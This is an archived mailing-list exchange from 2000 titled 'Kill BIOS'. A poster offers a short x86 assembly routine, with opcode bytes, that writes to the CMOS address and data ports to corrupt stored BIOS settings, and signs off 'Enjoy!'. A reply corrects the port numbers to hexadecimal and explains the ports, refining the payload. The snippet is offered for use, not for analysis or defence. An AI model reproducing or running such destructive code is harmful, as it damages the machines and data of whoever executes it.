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Vulnerability Development: Re: Kill BIOS

Re: Kill BIOS

From: Greg Rice <grice_at_VT.EDU>
Date: Sat, 8 Apr 2000 18:16:54 -0400

actually i think you mean
out 70H,AL
out 71H,AL

70H - is the CMOS Ram Address Port and NMI Mask and 71H is the RTC CMOS RAM
data port. i don't know what 70 decimal corresponds to as a hexadecimal
address.

thanks

----- Original Message -----
From: "dEStr0YEr" <destroyerb_at_HOTMAIL.COM>
To: <VULN-DEV_at_SECURITYFOCUS.COM>
Sent: Saturday, April 08, 2000 7:31 AM
Subject: Kill BIOS

> I can suggest this method for killing BIOS:
>
> ASM: Inline:
> mov al,2eh B0 2E
> out 70, al E6 70
> out 71, al E6 71
> retn C3
>
> Enjoy!
>
> Cu,
> dES
Received on Apr 08 2000

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